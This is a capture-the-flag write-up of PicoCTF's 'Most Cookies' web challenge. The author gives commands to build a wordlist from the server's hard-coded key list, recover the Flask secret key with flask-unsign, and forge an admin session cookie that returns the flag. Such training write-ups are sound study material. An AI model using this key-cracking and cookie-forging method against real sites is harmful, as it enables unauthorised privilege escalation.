🌐 Most Cookies
A detailed write-up of the Web challenge 'Most Cookies' from PicoCTF - 2021
📊 Challenge Overview
Category Details Additional Info 🏆 Event PicoGym Event Link 🔰 Category Web 🌐 💎 Points 500 Out of 500 total ⭐ Difficulty 🟡 Medium Personal Rating: 3/10 👤 Author madStacks Profile 🎮 Solves (At the time of flag submission) 6.724 solve rate 📅 Date 20-02-2025 PicoGym 🦾 Solved By mH4ck3r0n3 Team:
📝 Challenge Information
Alright, enough of using my own encryption. Flask session cookies should be plenty secure! server.py http://mercury.picoctf.net:65344/
🎯 Challenge Files & Infrastructure
Provided Files
Files:
🔍 Initial Analysis
First Steps
Initially, the website appears as follows:
Inspecting the cookies (given the title of the challenge), I found a session cookie:
And after trying to decode it from base64, I got the following output:
It’s highly likely that
very_authis the header that determines some kind of privilege for access. While reviewing the code in the attached file, I found some vulnerable parts:
1 2cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"] app.secret_key = random.choice(cookie_names)As we can see, the
secret_keyis easily deducible if it’s taken from a list of known plain text values. Continuing to read through the function for the/displayroute, I found something interesting:
1 2 3 4 5 6 7 8 9 10 11 12 13@app.route("/display", methods=["GET"]) def flag(): if session.get("very_auth"): check = session["very_auth"] if check == "admin": resp = make_response(render_template("flag.html", value=flag_value, title=title)) return resp flash("That is a cookie! Not very special though...", "success") return render_template("not-flag.html", title=title, cookie_name=session["very_auth"]) else: resp = make_response(redirect("/")) session["very_auth"] = "blank" return respIndeed, if the
very_authcookie is set toadmin, the page containing the flag is returned. The goal of the challenge is therefore to change ourprivilegesby forgingadmincookies to access the flag. After doing some research, I found this: https://www.bordergate.co.uk/flask-session-cookies/. Now that I understand how cookies are composed in Flask, we can proceed to the exploitation phase.
🔬 Vulnerability Analysis
Potential Vulnerabilities
- Weak Secret Key
- Flask Cookies Tampering
🎯 Solution Path
Exploitation Steps
Initial setup
In the article I found earlier, it mentions a tool called
flask-unsign(https://github.com/Paradoxis/Flask-Unsign/tree/master?tab=readme-ov-file) that helps unsign Flask cookies by finding the secret key used to sign them. So, I simply installed it:
1pip3 install flask-unsign[wordlist]Then, I created a file
wordlist.txtsince we know the set of keys that contains the valid one used to sign the cookies. I did this directly with bash usingsed, copying the code line from the list of keys:
1echo 'cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]' | sed 's/cookie_names = \[\(.*\)\]/\1/' | sed 's/["],/\n/g' | sed 's/^[ \t]*//g' | sed 's/["]//g' > wordlist.txtNow that we have everything needed, we can proceed to the actual exploitation phase.
Exploitation
The first step is to find the
secret_keyfrom the previously seen list that was used to sign the cookie. I can copy thesessioncookie directly withChromeDevToolsor I can also extract it usingbashfrom the CLI withcurl:
1curl -I http://mercury.picoctf.net:65344/Now, just copy the session cookies and use
flask-unsignwith the previously created wordlist to find thesecret_keyused to sign the cookies:
1/home/mh4ck3r0n3/.local/bin/flask-unsign --unsign --cookie eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.Z7cV0g.c28y4sr8f_dY6pmJP5qM1fxGw_M --wordlist wordlist.txtOnce the secret key,
fortune, is found, we can forge a new cookie withvery_authset toadminand sign it with thefortunekey:
1/home/mh4ck3r0n3/.local/bin/flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret fortuneOnce this is done and we have the forged cookie with
adminprivileges to access the flag, all that’s left is to send a request by modifying thesessioncookie value viaChromeDevTools, with the newly forged cookie, and refresh the page (F5). This will give us the flag.
Flag capture
🛠️ Exploitation Process
Approach
The automatic exploit makes a GET request to the page to extract the session cookies. Then, using the list of keys with which the session cookie is generated, it extracts the correct key used to sign the original cookie. Once the key is extracted, it forges the new cookie with the value set to
admin, and sends another request to/displaywith the newly forged cookie, extracting the flag from the response using a regex.
🚩 Flag Capture
Flag
Proof of Execution
🔧 Tools Used
Tool Purpose Python Exploit Flask-Unsign Cookie Forging
💡 Key Learnings
New Knowledge
I have learned how to forge session cookies with Flask.
Skills Improved
- Binary Exploitation
- Reverse Engineering
- Web Exploitation
- Cryptography
- Forensics
- OSINT
- Miscellaneous
📚 References & Resources
Learning Resources
📊 Final Statistics
| Metric | Value | Notes |
|---|---|---|
| Time to Solve | 00:19 | From start to flag |
| Global Ranking (At the time of flag submission) | Challenge ranking | |
| Points Earned | 500 | Team contribution |
Created: 20-02-2025 • Last Modified: 20-02-2025 *Author: mH4ck3r0n3 • Team: *